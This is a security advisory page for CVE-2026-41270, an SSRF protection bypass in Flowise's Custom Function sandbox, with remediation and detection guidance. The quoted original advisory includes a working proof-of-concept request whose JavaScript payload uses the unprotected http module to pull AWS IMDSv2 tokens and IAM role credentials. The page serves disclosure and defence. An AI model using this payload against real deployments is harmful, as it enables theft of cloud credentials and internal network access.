NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

CVE-2026-41270: Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox

highCVSS 3.0 7.1GHSA-xhmj-rg95-44hv

Flowise 3.0.13 and earlier let an authenticated user bypass the `HTTP_DENY_LIST` SSRF protection through the Custom Function sandbox. The built-in `http`, `https` and `net` modules are not wrapped, so code can reach cloud metadata services and internal hosts. Upgrade `flowise` and `flowise-components` to 3.1.0.

Published Apr 16, 2026 · Updated Apr 27, 2026 · Analysis Oct 30, 2026

What an attacker can do

Flowise runs Custom Function JavaScript inside a NodeVM sandbox. SSRF protection is applied only by mocking axios and node-fetch with wrappers that check HTTP_DENY_LIST. In packages/components/src/utils.ts, defaultAllowBuiltInDep still passes http, https, net and others straight into the sandbox. Code that calls require('http') skips the deny list.

The attacker needs an API key or session and network access to Flowise. They post JavaScript to /api/v1/node-custom-function in the javascriptFunction field. The advisory's proof of concept shows axios blocked with "Access to this host is denied by policy", then the same request through http fetching an AWS IMDSv2 token and the IAM role credentials from 169.254.169.254.

The result is stolen temporary cloud credentials, internal network scanning, and access to databases and admin panels that are not exposed externally. Deployments without HTTP_DENY_LIST were already open to SSRF.

Who is affected

flowise and flowise-components on npm, version 3.0.13 and earlier. The bypass matters most where HTTP_DENY_LIST is set, and where Flowise runs on a cloud host with a metadata service or inside a private network. Check:

npm ls flowise flowise-components

For Docker installs, check the image tag.

flowise

Ecosystem
npm
Affected
<= 3.0.13
Fixed in
3.1.0
Check
npm ls flowise

flowise-components

Ecosystem
npm
Affected
<= 3.0.13
Fixed in
3.1.0
Check
npm ls flowise-components

How to fix it

Upgrade flowise and flowise-components to 3.1.0:

npm install [email protected] [email protected]

The sources give no workaround. Until you can upgrade, limit who holds Flowise API keys, block Flowise from reaching the metadata endpoint at the network level, and use IMDSv2 hop limits where your cloud supports them.

How to tell if you were hit

Review requests to POST /api/v1/node-custom-function in access logs and flows that contain Custom Function nodes. Look for javascriptFunction bodies that call require('http'), require('https') or require('net'), or that name 169.254.169.254 or internal ranges. On AWS, check CloudTrail for use of the instance role's credentials from addresses outside the instance. Also review which API keys made those calls.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)

Details

The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts

Vulnerable Code - Allowed Built-in Modules (Line 56):

export const defaultAllowBuiltInDep = [
    'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
    'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]

SSRF Protection Implementation (Lines 254-261):

// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch

const defaultNodeVMOptions: any = {
    // ...
    require: {
        builtin: builtinDeps,      // <-- http, https, net allowed here
        mock: secureWrappers       // <-- Only mocks axios, node-fetch
    },
    // ...
}

Root Cause:

  • The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST
  • The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection
  • Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls

Affected File: packages/components/src/utils.ts

Related Files:

  • packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers
  • packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code
  • packages/server/src/services/nodes/index.ts - Service layer executing the code

PoC

Prerequisites:

  1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)
  2. Valid API key or authenticated session
  3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached

Verify SSRF Protection is enabled (expect a block message by policy)

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}

Response:

{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}

Bypass SSRF Protection using built-in http module

Request:

POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>

{
  "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}

Response:

{
  "Code": "Success",
  "LastUpdated": "2026-01-08T11:30:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2026-01-08T17:30:00Z"
}

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass

Who is Impacted:

  • All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection
  • Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method

Impact Severity:

  1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources
  2. Scan internal networks, discover services, and identify attack targets
  3. Reach databases, admin panels, and other internal APIs that should not be externally accessible

Attack Requirements:

  • Authentication required (API key or session)
  • Network access to Flowise instance

Credited to Sn1r.

Questions

Does this need authentication?

Yes. The attacker needs a valid API key or session to call the custom function endpoint, plus network access to Flowise.

Does HTTP_DENY_LIST protect me on 3.0.13?

No. It only filters axios and node-fetch inside the sandbox. Code using the built-in http, https or net modules is not checked.

Which version fixes CVE-2026-41270?

3.1.0, for both the flowise and flowise-components npm packages.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries